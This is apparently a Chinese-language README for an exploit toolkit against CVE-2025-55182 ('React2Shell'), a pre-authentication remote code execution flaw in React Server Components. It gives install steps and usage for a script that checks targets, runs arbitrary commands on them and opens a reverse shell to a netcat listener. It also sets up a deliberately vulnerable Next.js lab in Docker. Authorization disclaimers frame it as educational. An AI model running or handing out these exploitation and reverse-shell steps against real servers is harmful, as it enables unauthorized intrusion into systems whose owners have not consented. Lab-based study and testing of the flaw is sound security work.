[!WARNING] 此工具仅用于授权测试和教育目的。未经授权的网络访问和数据窃取是非法的。使用此工具前,用户须确保拥有相应的授权。
本仓库包含一个简易工具包,用于验证、利用 CVE-2025-55182(又名 React2Shell)并获得交互式 shell。这是一个关键的预认证远程代码执行 (RCE) 漏洞,存在于 React Server Components (RSC) 中,影响版本 19.0.0、19.1.0、19.1.1 和 19.2.0。
该漏洞源于 React Flight 协议中的不安全反序列化,允许未经身份验证的攻击者在易受攻击的服务器上执行任意代码。该漏洞于 2025 年 12 月 3 日披露,CVSS 评分为 10.0(严重)。它主要影响 React Server Components,但对使用 RSC 的框架(如 Next.js)也有影响。
注意: 此工具包仅用于教育和研究目的。未经授权利用漏洞是非法且不道德的。请负责任地使用,仅在你拥有或拥有明确测试权限的系统上使用。
有关更多详情,请参阅官方公告:
requests、argparse(通过 pip install -r requirements.txt 安装)git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
python3 -m venv CVE202555182Venv
python3 -m pip install -r requirements.txt
source CVE202555182Venv/bin/activate[.fish]
git clone https://github.com/J4ck3LSyN-Gen2/CVE-2025-55182.git
cd CVE-2025-55182
pip install -r requirements.txt
主脚本是 sploit.py。使用以下选项运行:
python sploit.py --help
--target <URL>:目标 URL(例如 http://vulnerable-site.com)。--mode <validate|sploit|shell>:操作模式。
validate:检查漏洞而不进行利用。sploit:执行自定义命令。shell:建立交互式反向 shell。--command <CMD>:要执行的命令(sploit 模式必需)。--lhost <IP>:反向 shell 的本地主机(shell 模式必需)。--lport <PORT>:反向 shell 的本地端口(默认:4444)。验证漏洞:
python sploit.py --target http://example.com --mode validate
利用并执行命令:
python sploit.py --target http://example.com --mode sploit --command "whoami"
获得交互式 Shell:
首先设置监听器(例如 nc -lvnp 4444),然后:
python sploit.py --target http://example.com --mode shell --lhost 192.168.1.100 --lport 4444
技术深入阅读:
{
"dependencies": {
"next": "14.3.0-canary.77",
"react": "19.0.0",
"react-dom": "19.0.0"
},
"scripts": {
"dev": "next dev",
"build": "next build",
"start": "next start"
}
}
rm tsconfig.json
mkdir -p app
# app/layout.tsx
cat > app/layout.tsx << 'EOF'
import "./globals.css";
export default function RootLayout({
children,
}: {
children: React.ReactNode;
}) {
return (
<html lang="en">
<body>{children}</body>
</html>
);
}
echo "/* minimal css - required by Next.js */" > app/globals.css
cat > app/page.tsx << 'EOF'
export default function Home() {
return (
<main>
<h1>react2shell 实验室运行中!</h1>
<p>开始利用 → /api/vulnerable-endpoint</p>
</main>
);
}
FROM node:20-alpine
WORKDIR /app
# 仅复制包文件(更好的缓存)
COPY package*.json ./
# 使用旧版对等依赖项安装依赖(此旧版 canary 需要)
RUN npm install --legacy-peer-deps
# 复制应用其余部分
COPY . .
# 删除 tsconfig.json 以免 Next.js 尝试自动安装 TypeScript(这是杀手锏)
RUN rm -f tsconfig.json
# 构建 Next.js 应用
RUN npm run build
# 暴露端口
EXPOSE 3000
# 启动应用
CMD ["npm", "start"]
docker build -t react2shell .
docker run -d -p 3000:3000 --name react2shell react2shell
→ http://localhost:3000你已完成。容器在 <2 秒内启动,并准备好进行原型污染 → RCE 链。可选一行命令以随时销毁并重启:bash
docker rm -f react2shell && docker run -d -p 3000:3000 --name react2shell react2shell
参见 AWS 安全博客 获取威胁情报。
此工具按“原样”提供,不附带任何担保。作者不对因使用本工具包造成的任何误用或损害负责。在测试漏洞之前,务必获得许可。
欢迎拉取请求!如需重大更改,请先开启 issue。
本项目根据 MIT 许可证授权 - 参见 LICENSE 文件了解详情。
